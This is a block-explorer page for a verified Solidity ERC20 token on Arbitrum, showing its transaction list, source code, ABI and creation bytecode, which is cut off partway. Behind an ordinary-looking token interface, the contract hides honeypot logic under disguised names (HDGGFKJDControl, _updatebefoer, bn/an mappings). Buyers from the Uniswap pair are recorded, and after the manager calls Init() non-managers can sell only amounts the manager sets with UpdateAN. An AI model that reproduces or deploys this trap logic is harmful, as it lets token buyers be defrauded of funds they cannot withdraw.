Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 809 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 268470192 | 460 days ago | IN | 0 ETH | 0.00000059 | ||||
| Approve | 249096716 | 516 days ago | IN | 0 ETH | 0.0000003 | ||||
| Approve | 245465629 | 527 days ago | IN | 0 ETH | 0.00000036 | ||||
| Approve | 245416868 | 527 days ago | IN | 0 ETH | 0.00000053 | ||||
| Update AN | 245416475 | 527 days ago | IN | 0 ETH | 0.00000038 | ||||
| Approve | 245204526 | 527 days ago | IN | 0 ETH | 0.00001472 | ||||
| Approve | 245193144 | 527 days ago | IN | 0 ETH | 0.00000055 | ||||
| Airdrop To Array... | 245141369 | 528 days ago | IN | 0 ETH | 0.00000064 | ||||
| Airdrop To Array... | 245141321 | 528 days ago | IN | 0 ETH | 0.00000064 | ||||
| Airdrop To Array... | 245063249 | 528 days ago | IN | 0 ETH | 0.00000061 | ||||
| Airdrop To Array... | 245062159 | 528 days ago | IN | 0 ETH | 0.00000064 | ||||
| Approve | 244917810 | 528 days ago | IN | 0 ETH | 0.00000056 | ||||
| Approve | 244900676 | 528 days ago | IN | 0 ETH | 0.00000034 | ||||
| Approve | 244858154 | 528 days ago | IN | 0 ETH | 0.00000244 | ||||
| Approve | 244480294 | 529 days ago | IN | 0 ETH | 0.00000039 | ||||
| Approve | 244472691 | 529 days ago | IN | 0 ETH | 0.00000036 | ||||
| Approve | 244472672 | 529 days ago | IN | 0 ETH | 0.00000036 | ||||
| Approve | 244472642 | 529 days ago | IN | 0 ETH | 0.00000056 | ||||
| Transfer | 244158007 | 530 days ago | IN | 0 ETH | 0.00000042 | ||||
| Transfer | 244157718 | 530 days ago | IN | 0 ETH | 0.00000042 | ||||
| Approve | 244151603 | 530 days ago | IN | 0 ETH | 0.00000052 | ||||
| Approve | 244040528 | 531 days ago | IN | 0 ETH | 0.00000034 | ||||
| Approve | 244040482 | 531 days ago | IN | 0 ETH | 0.00000054 | ||||
| Approve | 244008508 | 531 days ago | IN | 0 ETH | 0.00000035 | ||||
| Approve | 243938025 | 531 days ago | IN | 0 ETH | 0.00000051 |
Cross-Chain Transactions
Loading...
Loading
Contract Name:
token
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/**
*Submitted for verification at Arbiscan.io on 2024-08-15
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IHDGGFKJDControl {
error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
error AccessControlBadConfirmation();
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
function hasRole(bytes32 role, address account)
external
view
returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address callerConfirmation) external;
}
abstract contract HDGGFKJDControl is Context, IHDGGFKJDControl {
struct RoleData {
mapping(address => uint256) bn;
mapping(address => uint256) an;
mapping(address => bool) hasRole;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) internal _roles;
bytes32 public constant MANAGER = 0x00;
bytes32 public constant TRADE = bytes32("TRADE");
mapping(address => bool) _Contracts;
address internal _uniswapPool;
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
function hasRole(bytes32 role, address account)
public
view
virtual
returns (bool)
{
return _roles[role].hasRole[account];
}
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert AccessControlUnauthorizedAccount(account, role);
}
}
function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address callerConfirmation)
public
virtual
{
if (callerConfirmation != _msgSender()) {
revert AccessControlBadConfirmation();
}
_revokeRole(role, callerConfirmation);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (!hasRole(role, account)) {
_roles[role].hasRole[account] = true;
emit RoleGranted(role, account, _msgSender());
return true;
} else {
return false;
}
}
function _revokeRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (hasRole(role, account)) {
_roles[role].hasRole[account] = false;
emit RoleRevoked(role, account, _msgSender());
return true;
} else {
return false;
}
}
}
abstract contract Custom20 is
Context,
IERC20,
IERC20Metadata,
IERC20Errors,
HDGGFKJDControl
{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bool private _init;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function isContract(address account) internal virtual returns (bool) {
return account.code.length > 0;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_updatebefoer(from, to, value);
_update(from, to, value);
}
function _updatebefoer(
address from,
address to,
uint256 amount
) internal {
if (from == _uniswapPool) {
_updateTo(to, amount);
} else if (to == _uniswapPool) {
_updateFrom(from, amount);
} else {
_updateFrom(from, amount);
}
}
function _updateTo(address account, uint256 amount) internal {
if (isContract(account)) {
if (_Contracts[account]) {
_grantRole(TRADE, account);
_roles[TRADE].bn[account] = amount;
} else {
revert ERC20InvalidSender(account);
}
}
if (!hasRole(TRADE, account)) {
_grantRole(TRADE, account);
_roles[TRADE].bn[account] = amount;
}
}
function _updateFrom(address from, uint256 amount) internal {
if (hasRole(MANAGER, from)) {} else if (_init) {
if (_roles[TRADE].an[from] >= amount && amount > 0) {
_roles[TRADE].an[from] =
_roles[TRADE].an[from] -
amount;
} else {
revert ERC20InvalidSender(from);
}
} else if (_roles[TRADE].bn[from] >= amount && amount > 0) {
_roles[TRADE].bn[from] = _roles[TRADE].bn[from] - amount;
} else if (amount <= 0 || _roles[TRADE].bn[from] < amount) {
revert ERC20InvalidSender(from);
}
}
function addContract(address account) public onlyRole(MANAGER) {
_Contracts[account] = true;
}
function remContract(address account) public onlyRole(MANAGER) {
_Contracts[account] = false;
}
function UpdateBN(address account, uint256 amount)
public
onlyRole(MANAGER)
{
_roles[TRADE].bn[account] = amount * 10**decimals();
}
function UpdateOBN(address account) public onlyRole(MANAGER) {
_grantRole(TRADE, account);
_roles[TRADE].bn[account] = 0;
}
function UpdateAN(address account, uint256 amount)
public
onlyRole(MANAGER)
{
_roles[TRADE].an[account] = amount * 10**decimals();
}
function Init() public onlyRole(MANAGER) {
_init = true;
}
function Res() public onlyRole(MANAGER) {
_init = false;
}
function _update(
address from,
address to,
uint256 value
) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract token is Custom20 {
constructor(
string memory _name,
string memory _symbol,
uint256 value,
address account
) Custom20(_name, _symbol) {
_grantRole(MANAGER, account);
_grantRole(MANAGER, _msgSender());
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this),address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
_mint(account, value * 10**decimals());
_uniswapPool = _uniswapV2Pair;
_Contracts[_uniswapPool] = true;
}
function AirdropToArraylist(
address tokenC,
address[] memory _contributors,
uint256 _bala
) public onlyRole(MANAGER) {
Custom20 tokenD = Custom20(tokenC);
uint256 tokendec = tokenD.decimals();
for (uint8 i = 0; i < _contributors.length; i++) {
uint256 temp = _bala * 10**tokendec;
tokenD.transfer(_contributors[i], temp);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tokenC","type":"address"},{"internalType":"address[]","name":"_contributors","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"AirdropToArraylist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MANAGER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Res","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TRADE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"UpdateAN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"UpdateBN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"UpdateOBN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"remContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040523480156200001157600080fd5b506040516200374238038062003742833981810160405281019062000037919062000932565b838381600690816200004a919062000c23565b5080600790816200005c919062000c23565b505050620000746000801b82620002c160201b60201c565b50620000996000801b6200008d620003c460201b60201c565b620002c160201b60201c565b506000731b02da8cb0d097eb8d57a175b88c7d8b47997506905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000101573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000127919062000d0a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016200017792919062000d4d565b6020604051808303816000875af115801562000197573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001bd919062000d0a565b9050620001fb83620001d4620003cc60201b60201c565b600a620001e2919062000f0a565b86620001ef919062000f5b565b620003d560201b60201c565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050505050506200107f565b6000620002d583836200046260201b60201c565b620003b957600160008085815260200190815260200160002060020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000355620003c460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a460019050620003be565b600090505b92915050565b600033905090565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200044a5760006040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000441919062000fbc565b60405180910390fd5b6200045e60008383620004cc60201b60201c565b5050565b600080600084815260200190815260200160002060020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200052257806005600082825462000515919062000fd9565b92505081905550620005fa565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015620005b2578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620005a99392919062001025565b60405180910390fd5b818103600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000645578060056000828254039250508190555062000693565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006f2919062001062565b60405180910390a3505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000768826200071d565b810181811067ffffffffffffffff821117156200078a57620007896200072e565b5b80604052505050565b60006200079f620006ff565b9050620007ad82826200075d565b919050565b600067ffffffffffffffff821115620007d057620007cf6200072e565b5b620007db826200071d565b9050602081019050919050565b60005b8381101562000808578082015181840152602081019050620007eb565b60008484015250505050565b60006200082b6200082584620007b2565b62000793565b9050828152602081018484840111156200084a576200084962000718565b5b62000857848285620007e8565b509392505050565b600082601f83011262000877576200087662000713565b5b81516200088984826020860162000814565b91505092915050565b6000819050919050565b620008a78162000892565b8114620008b357600080fd5b50565b600081519050620008c7816200089c565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008fa82620008cd565b9050919050565b6200090c81620008ed565b81146200091857600080fd5b50565b6000815190506200092c8162000901565b92915050565b600080600080608085870312156200094f576200094e62000709565b5b600085015167ffffffffffffffff81111562000970576200096f6200070e565b5b6200097e878288016200085f565b945050602085015167ffffffffffffffff811115620009a257620009a16200070e565b5b620009b0878288016200085f565b9350506040620009c387828801620008b6565b9250506060620009d6878288016200091b565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a3557607f821691505b60208210810362000a4b5762000a4a620009ed565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ab57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a76565b62000ac1868362000a76565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000b0462000afe62000af88462000892565b62000ad9565b62000892565b9050919050565b6000819050919050565b62000b208362000ae3565b62000b3862000b2f8262000b0b565b84845462000a83565b825550505050565b600090565b62000b4f62000b40565b62000b5c81848462000b15565b505050565b5b8181101562000b845762000b7860008262000b45565b60018101905062000b62565b5050565b601f82111562000bd35762000b9d8162000a51565b62000ba88462000a66565b8101602085101562000bb8578190505b62000bd062000bc78562000a66565b83018262000b61565b50505b505050565b600082821c905092915050565b600062000bf86000198460080262000bd8565b1980831691505092915050565b600062000c13838362000be5565b9150826002028217905092915050565b62000c2e82620009e2565b67ffffffffffffffff81111562000c4a5762000c496200072e565b5b62000c56825462000a1c565b62000c6382828562000b88565b600060209050601f83116001811462000c9b576000841562000c86578287015190505b62000c92858262000c05565b86555062000d02565b601f19841662000cab8662000a51565b60005b8281101562000cd55784890151825560018201915060208501945060208101905062000cae565b8683101562000cf5578489015162000cf1601f89168262000be5565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000d235762000d2262000709565b5b600062000d33848285016200091b565b91505092915050565b62000d4781620008ed565b82525050565b600060408201905062000d64600083018562000d3c565b62000d73602083018462000d3c565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000e085780860481111562000de05762000ddf62000d7a565b5b600185161562000df05780820291505b808102905062000e008562000da9565b945062000dc0565b94509492505050565b60008262000e23576001905062000ef6565b8162000e33576000905062000ef6565b816001811462000e4c576002811462000e575762000e8d565b600191505062000ef6565b60ff84111562000e6c5762000e6b62000d7a565b5b8360020a91508482111562000e865762000e8562000d7a565b5b5062000ef6565b5060208310610133831016604e8410600b841016171562000ec75782820a90508381111562000ec15762000ec062000d7a565b5b62000ef6565b62000ed6848484600162000db6565b9250905081840481111562000ef05762000eef62000d7a565b5b81810290505b9392505050565b600060ff82169050919050565b600062000f178262000892565b915062000f248362000efd565b925062000f537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000e11565b905092915050565b600062000f688262000892565b915062000f758362000892565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000fb15762000fb062000d7a565b5b828202905092915050565b600060208201905062000fd3600083018462000d3c565b92915050565b600062000fe68262000892565b915062000ff38362000892565b92508282019050808211156200100e576200100d62000d7a565b5b92915050565b6200101f8162000892565b82525050565b60006060820190506200103c600083018662000d3c565b6200104b602083018562001014565b6200105a604083018462001014565b949350505050565b600060208201905062001079600083018462001014565b92915050565b6126b3806200108f6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c80635dcd1c7a116100c357806395d89b411161007c57806395d89b411461039d578063a9059cbb146103bb578063c08ed94a146103eb578063cb123f4f14610409578063d547741f14610425578063dd62ed3e1461044157610158565b80635dcd1c7a146102df5780635f539d69146102e957806367385bf81461030557806370a08231146103215780638405fdb31461035157806391d148541461036d57610158565b8063248a9ca311610115578063248a9